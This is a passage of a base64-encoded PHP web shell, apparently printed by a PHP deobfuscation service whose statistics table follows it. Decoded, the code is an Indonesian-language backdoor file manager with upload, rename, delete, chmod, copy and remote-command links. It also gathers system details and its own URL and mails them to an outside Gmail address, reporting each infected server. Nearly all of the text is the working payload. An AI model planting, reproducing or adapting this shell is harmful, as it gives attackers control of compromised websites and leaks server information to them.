J9JmFtcDt3cml0ZT15ZXNcIj5LZW1iYWxpPC9hPjwvbGVnZW5kDQoNCj4iOw0KICAgfSANCn0NCmVsc2Ugew0KaWYgKHN0cnRvdXBwZXIoc3Vic3RyKCRPUywgMCwzKSA9PSAnV0lOJykpIHsNCiAgZWNobyAiPGxlZ2VuZD5EaXIgTk86IHskY2hkaXJ9IC0gPGEgaHJlZj1cIiNbTmV3IERpcl1cIiANCg0Kb25jbGljaz1cIk1rZGlyKCd7JGNoZGlyfScpO1wiPkZvbGRyIEJhcnU8L2E+IHwgPGEgaHJlZj1cIiNbTmV3IEZpbGVdXCIgDQoNCm9uY2xpY2s9XCJOZXdmaWxlKCd7JGNoZGlyfScpXCI+RmlsZSBCYXJ1PC9hPiB8IDxhIA0KDQpocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWNtZCZhbXA7Y2hkaXI9eyRjaGRpcn0mYW1wO2NtZD17JG5ld3VzZXJ9XCI+UmVtb3RlIA0KDQpBY2Nlc3M8L2E+PC9sZWdlbmQ+IjsNCiB9IGVsc2Ugew0KICAgIGVjaG8gIjxsZWdlbmQ+RGlyIE5POiB7JGNoZGlyfSAtIDxhIGhyZWY9XCIjW05ldyBEaXJdXCIgDQoNCm9uY2xpY2s9XCJNa2RpcigneyRjaGRpcn0nKTtcIj5Gb2xkZXIgQmFydTwvYT4gfCA8YSBocmVmPVwiI1tOZXcgRmlsZV1cIiANCg0Kb25jbGljaz1cIk5ld2ZpbGUoJ3skY2hkaXJ9JylcIj5GaWxlIEJhcnU8L2E+IHwgPGEgDQoNCmhyZWY9XCJ7JGZzdHJpbmd9JmFtcDthY3Rpb249YmFja3Rvb2wmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDt3cml0ZT1ub1wiPktlbWJhbGk8L2E+PC9sZWdlbmQ+DQoNCiI7DQogICB9IA0KfQ0KDQppZiAoQCEkaGFuZGxlID0gb3BlbmRpcigiJGNoZGlyIikpIHsNCiBlY2hvICIgR3VlIGdhayBiaXNhIG1hc3VrIGZvbGRlciwgPGEgaHJlZj1cInskZnN0cmluZ31cIj5LbGlrIHNpbmkhPC9hPiB1bnR1ayBlbWJhbGkga2UgDQoNCmZvbGRlciBvcmkhPC9icj4iOw0KfQ0KZWxzZSB7DQplY2hvICIgIDx0YWJsZSBib3JkZXI9XCIwXCIgY2VsbHBhZGRpbmc9XCI1XCIgY2VsbHNwYWNpbmc9XCIwXCIgd2lkdGg9XCIxMDAlXCI+IjsNCmVjaG8gIiAgICA8dHI+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjEwMCVcIiBjb2xzcGFuPVwiNFwiPiBVcGxvYWQ6IjsNCmVjaG8gIiAgICAgIDxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJ1c2VyZmlsZVwiIHNpemU9XCI2NVwiIHN0eWxlPVwiICBib3JkZXItc3R5bGU6IA0KDQpzb2xpZDsgYm9yZGVyLXdpZHRoOiAxXCI+IjsNCmVjaG8gIiAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJLaXJpbVwiIG5hbWU9XCJCMVwiIHN0eWxlPVwiIGJvcmRlcjogMXB4IHNvbGlkIA0KDQojMDAwMDAwXCI+PC90ZD4iOw0KZWNobyAiICAgIDwvdHI+IjsNCmVjaG8gIiAgICA8dHI+IjsNCmVjaG8gIiAgICAgIDx0ZCB3aWR0aD1cIjEwMCVcIiBjb2xzcGFuPVwiNFwiPiA8L3RkPiI7DQplY2hvICIgICAgPC90cj4iOw0KZWNobyAiICAgIDx0cj4iOw0KZWNobyAiICAgICAgPHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49XCI0XCI+IjsNCmlmIChAISRtc2cpIHsNCiBlY2hvICIgICAgICA8cCBhbGlnbj1cImxlZnRcIj5NZXNzYWdlczwvdGQ+IjsNCn0gZWxzZSB7DQogICBlY2hvICIgICAgICA8cCBhbGlnbj1cImxlZnRcIj4kbXNnPC90ZD4iOw0KICB9DQplY2hvICIgICAgPC90cj4iOw0KZWNobyAiICAgIDx0cj4iOw0KZWNobyAiICAgICAgPHRkIHdpZHRoPVwiMTAwJVwiIGNvbHNwYW49XCI0XCI+IDwvdGQ+IjsNCmVjaG8gIiAgICA8L3RyPjwvdGFibGU+ICI7DQplY2hvICIgICA8dGFibGUgYm9yZGVyPVwiMVwiIGNlbGxwYWRkaW5nPVwiMlwiIGNlbGxzcGFjaW5nPVwiMFwiIHdpZHRoPVwiMTAwJVwiPiI7DQplY2hvICIgICAgPHRyIGJnY29sb3I9XCIjRkY2NjAwXCIgYWxpZ249XCJjZW50ZXJcIj4gIjsNCmVjaG8gIiAgICAgIDx0ZCA+IFBlcm1pc2lvbjwvdGQ+IjsNCmVjaG8gIiAgICAgIDx0ZCA+IE5hbWEgRmlsZSA8L3RkPiI7DQplY2hvICIgICAgICA8dGQgPiBLYXBhc2l0YXMgPC90ZD4iOw0KZWNobyAiICAgICAgPHRkID4gUGVyaW50YWg8L3RkPiI7DQplY2hvICIgICAgIDwvdHI+IjsNCiRjb2xvcm4gPSAwOw0KICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRmaWxlICE9ICcuJykgew0KICAgICAgICAgICAgaWYgKCRjb2xvcm4gPT0gMCkgew0KICAgICAgICAgICAgICRjb2xvciA9ICJzdHlsZT1cImJhY2tncm91bmQtY29sb3I6ICNGRjk5MDBcIiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRjb2xvcm4gPT0gMSkgew0KICAgICAgICAgICAgICRjb2xvciA9ICJzdHlsZT1cImJhY2tncm91bmQtY29sb3I6ICAjRkZDQzMzXCIiOw0KICAgICAgICAgICAgfSAgICAgICAgDQogICAgICAgICAgICBpZiAoQGlzX2RpcigiJGNoZGlyIi4iJGZpbGUiKSkgew0KICAgICAgICAgICAgICRmaWxlID0gJGZpbGUuJy8nOw0KICAgICAgICAgICAgICRtb2RlID0gJ2NoZGlyJzsNCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgJG1vZGUgPSAnZWRpdCc7IA0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChAc3Vic3RyKCIkY2hkaXIiLCBzdHJsZW4oJGNoZGlyKSAtMSwgMSkgIT0gJy8nKSB7DQogICAgICAgICAgICAgICRjaGRpciAuPSAnLyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4uLycpIHsNCiAgICAgICAgICAgICAkbGVucGF0aCA9IHN0cmxlbigkY2hkaXIpOyAkYmFyYXMgPSAwOw0KICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgJGxlbnBhdGg7JGkrKykgeyBpZiAoJGNoZGlyeyRpfSA9PSAnLycpIHsgJGJhcmFzKys7IH0gfQ0KICAgICAgICAgICAgICRjaGRpcl8gPSBleHBsb2RlKCIvIiwgJGNoZGlyKTsNCiAgICAgICAgICAgICAkY2hkaXJwb3ggPSBzdHJfcmVwbGFjZSgkY2hkaXJfWyRiYXJhcy0xXS4nLycsICIiLCAkY2hkaXIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJHBlcm1zID0gQGZpbGVwZXJtcyAoIiRjaGRpciIuIiRmaWxlIik7DQogICAgICAgICAgICBpZiAoJHBlcm1zID09ICcnKSB7DQogICAgICAgICAgICAgJHBlcm1zID0gJz8/Pyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc2l6ZSA9IEBmaWxlc2l6ZSAoIiRjaGRpciIuIiRmaWxlIik7IA0KICAgICAgICAgICAgJHNpemUgPSAkc2l6ZSAvIDEwMjQ7DQogICAgICAgICAgICAkc2l6ZSA9IGV4cGxvZGUoIi4iLCAkc2l6ZSk7DQogICAgICAgICAgICBpZiAoQCRzaXplWzFdICE9ICcnKSB7DQogICAgICAgICAgICAgJHNpemUgPSAkc2l6ZVswXS4nLicuQHN1YnN0cigiJHNpemVbMV0iLCAwLCAyKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplWzBdOw0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkc2l6ZSA9PSAwKSB7DQogICAgICAgICAgICAgaWYgKCRtb2RlID09ICdjaGRpcicpIHsNCiAgICAgICAgICAgICAgJHNpemUgPSAnPz8/JzsNCiAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8dHI+IjsNCgkgICAgZWNobyAiPHRkIGFsaWduPVwiY2VudGVyXCIgJGNvbG9yPiAkcGVybXM8L3RkPiI7DQogICAgICAgICAgICBpZiAoQGlzX3dyaXRhYmxlICgiJGNoZGlyIi4iJGZpbGUiKSkgew0KICAgICAgICAgICAgIGlmICgkbW9kZSA9PSAnY2hkaXInKSB7DQogICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLi4vJykgew0KICAgICAgICAgICAgICAgZWNobyAiPHRkICRjb2xvcj4gPGI+PGEgaHJlZj1cInskZnN0cmluZ30mYW1wO2NoZGlyPSRjaGRpcnBveFwiPjxmb250IA0KDQpjb2xvcj1cIiMwMDgwMDBcIj4kZmlsZTwvZm9udD48L2E+PC9iPiA8L3RkPiI7DQogICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCAkY29sb3I+IDxiPjxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDtjaGRpcj17JGNoZGlyfXskZmlsZX1cIj48Zm9udCANCg0KY29sb3I9XCIjMDA4MDAwXCI+JGZpbGU8L2ZvbnQ+PC9hPiA8L2I+PC90ZD4iOyAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgfSBlbHNlIHsNCgkJaWYgKGlzX3JlYWRhYmxlKCIkY2hkaXIiLiIkZmlsZSIpKSB7DQogICAgICAgICAgICAgICAgIGVjaG8gIjx0ZCAkY29sb3I+IDxhIA0KDQpocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWVkaXQmYW1wO2NoZGlyPSRjaGRpciZhbXA7ZmlsZT0kZmlsZVwiPiRmaWxlPC9hPiA8L3RkPiI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgJGNvbG9yPiAkZmlsZSA8L3RkPiI7DQogICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IA0KICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICBpZiAoJG1vZGUgPT0gJ2NoZGlyJykgew0KICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4uLycpIHsNCiAgICAgICAgICAgICAgIGVjaG8gIjx0ZCAkY29sb3I+IDxhIGhyZWY9XCJ7JGZzdHJpbmd9JmFtcDtjaGRpcj0kY2hkaXJwb3hcIj4kZmlsZTwvYT4gDQoNCjwvdGQ+IjsNCiAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgZWNobyAiPHRkICRjb2xvcj4gPGEgDQoNCmhyZWY9XCJ7JGZzdHJpbmd9JmFtcDtjaGRpcj17JGNoZGlyfXskZmlsZX1cIj4kZmlsZTwvYT48L3RkPiI7ICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0gZWxzZSB7DQoJCWlmIChAaXNfcmVhZGFibGUoIiRjaGRpciIuIiRmaWxlIikpIHsNCiAgICAgICAgICAgICAgICAgZWNobyAiPHRkICAkY29sb3I+IDxhIA0KDQpocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWVkaXQmYW1wO2NoZGlyPSRjaGRpciZhbXA7ZmlsZT0kZmlsZVwiPiRmaWxlPC9hPiA8L3RkPiI7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICBlY2hvICI8dGQgJGNvbG9yPiAkZmlsZTwvdGQ+IjsNCiAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjx0ZCBhbGlnbj1cInJpZ2h0XCIgJGNvbG9yPiAkc2l6ZSBLQjwvdGQ+IjsNCiAgICAgICAgICAgIGlmICgkbW9kZSA9PSAnZWRpdCcpIHsNCiAgICAgICAgICAgICBlY2hvICI8dGQgYWxpZ249XCJjZW50ZXJcIiAkY29sb3I+IDxhIGhyZWY9XCIjeyRmaWxlfVwiIA0KDQpvbmNsaWNrPVwiUmVuYW1lKCd7JGNoZGlyfScsICd7JGZpbGV9JywgJ3skbW9kZX0nKVwiPlJlbmFtZTwvYT4gfCA8YSANCg0KaHJlZj1cInskZnN0cmluZ30mYW1wO2FjdGlvbj1kZWwmYW1wO2NoZGlyPXskY2hkaXJ9JmFtcDtmaWxlPXskZmlsZX0mYW1wO3R5cGU9ZmlsZVwiPkRlbDwvYT4gDQoNCnwgPGEgaHJlZj1cIiN7JGZpbGV9XCIgb25jbGljaz1cIkNoTW9kKCckY2hkaXInLCAnJGZpbGUnKVwiPkNobW9kPC9hPiB8IDxhIGhyZWY9XCIjeyRmaWxlfVwiIA0KDQpvbmNsaWNrPVwiQ29weSgneyRjaGRpcn0nLCAneyRmaWxlfScpXCI+Q29weTwvYT4gPC90ZD4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgIGVjaG8gIjx0ZCBhbGlnbj1cImNlbnRlclwiICRjb2xvcj4gPGEgaHJlZj1cIiN7JGZpbGV9XCIgDQoNCm9uY2xpY2s9XCJSZW5hbWUoJ3skY2hkaXJ9JywgJ3skZmlsZX0nLCAneyRtb2RlfScpXCI+UmVuYW1lPC9hPiB8IDxhIA0KDQpocmVmPVwieyRmc3RyaW5nfSZhbXA7YWN0aW9uPWRlbCZhbXA7Y2hkaXI9eyRjaGRpcn0mYW1wO2ZpbGU9eyRmaWxlfSZhbXA7dHlwZT1kaXJcIj5EZWw8L2E+IA0KDQp8IDxhIGhyZWY9XCIjeyRmaWxlfVwiIG9uY2xpY2s9XCJDaE1vZCgnJGNoZGlyJywgJyRmaWxlJylcIj5DaG1vZDwvYT4gfCBDb3B5IDwvdGQ+IjsNCiAgICAgICAgICAgICAgfSAgIA0KICAgICAgICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAgICAgaWYgKCRjb2xvcm4gPT0gMCkgew0KICAgICAgICAgICAgICRjb2xvcm4gPSAxOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkY29sb3JuID09IDEpIHsNCiAgICAgICAgICAgICAkY29sb3JuID0gMDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBjbG9zZWRpcigkaGFuZGxlKTsNCn0NCg0KICAkT1MgPSBAUEhQX09TOw0KICAkVU5BTUUgPSBAcGhwX3VuYW1lKCk7DQogICRQSFB2ID0gQHBocHZlcnNpb24oKTsNCiAgJFNhZmVNb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KICANCiAgaWYgKCRTYWZlTW9kZSA9PSAnJykgeyAkU2FmZU1vZGUgPSAiPGk+T0ZGPC9pPjxCUj4iOyB9DQogIGVsc2UgeyAkU2FmZU1vZGUgPSAiPGk+JFNhZmVNb2RlPC9pPjxCUj4iOyB9DQogIA0KICAgDQogICRpbmplaz0oJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KDQogICRwc249KCJPUyA9ICIgLiAkT1MgLiAiPEJSPlVOQU1FID0gIiAuICRVTkFNRSAuICI8QlI+UEhQVmVyc2lvbiA9ICIgLiAkUEhQdiAuICI8QlI+U2FmZSBNb2RlID0gIiAuICRTYWZlTW9kZSAuICI8QlI+PGZvbnQgY29sb3I9Ymx1ZT5odHRwOi8vIiAuICRpbmplayAuICI8L2ZvbnQ+PEJSPkluZ2F0IGphbmdhbiBwYWthaSBJbmplayBJbmkuPEJSPkJ5OiBCbHVlU3B5Iik7DQogIA0KICAkaGVhZGVyID0gIkZyb206ICRfU0VSVkVSW0hUVFBfSE9TVF0gPCRmcm9tPlxyXG5SZXBseS1UbzogJHJlcGx5dG9cclxuIjsNCiAgJGhlYWRlciAuPSAiTUlNRS1WZXJzaW9uOiAxLjBcclxuIjsNCiAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT0kdWlkXHJcbiI7DQogIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICItLSR1aWRcclxuIjsNCiAgJGhlYWRlciAuPSAiQ29udGVudC1UeXBlOiB0ZXh0LyRjb250ZW50dHlwZVxyXG4iOw0KICAkaGVhZGVyIC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiA4Yml0XHJcblxyXG4iOw0KICAkaGVhZGVyIC49ICIkbWVzc2FnZVxyXG4iOw0KICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiLS0kdWlkXHJcbiI7DQogIElmICgkZmlsZV9uYW1lKSAkaGVhZGVyIC49ICJDb250ZW50LVR5cGU6ICRmaWxlX3R5cGU7IG5hbWU9XCIkZmlsZV9uYW1lXCJcclxuIjsNCiAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOw0KICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgDQoNCmZpbGVuYW1lPVwiJGZpbGVfbmFtZVwiXHJcblxyXG4iOw0KICBJZiAoJGZpbGVfbmFtZSkgJGhlYWRlciAuPSAiJGNvbnRlbnRcclxuIjsNCiAgSWYgKCRmaWxlX25hbWUpICRoZWFkZXIgLj0gIi0tJHVpZC0tIjsNCiAgJHRvID0gKCJ0cmFtcG9zMjAxNkBnbWFpbC5jb20iKTsNCiAgJHN1YmplY3QgPSAoImluamVrYW4gYW55YXIgQm9zIik7DQogIG1haWwoJHRvLCRzdWJqZWN0LCRwc24sJGhlYWRlcik7DQoNCkBpbmNsdWRlICIkYm4iOw0KDQo/Pg0KICA8L3RhYmxlPg0KICA8L2ZpZWxkc2V0PjwvZm9ybT4NCjwvZGl2Pg0KPC9ib2R5Pg0KDQo8L2h0bWw+")); ?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | 82241c521a60a2cc868656d2755e0989 |
| Eval Count | 1 |
| Decode Time | 104 ms |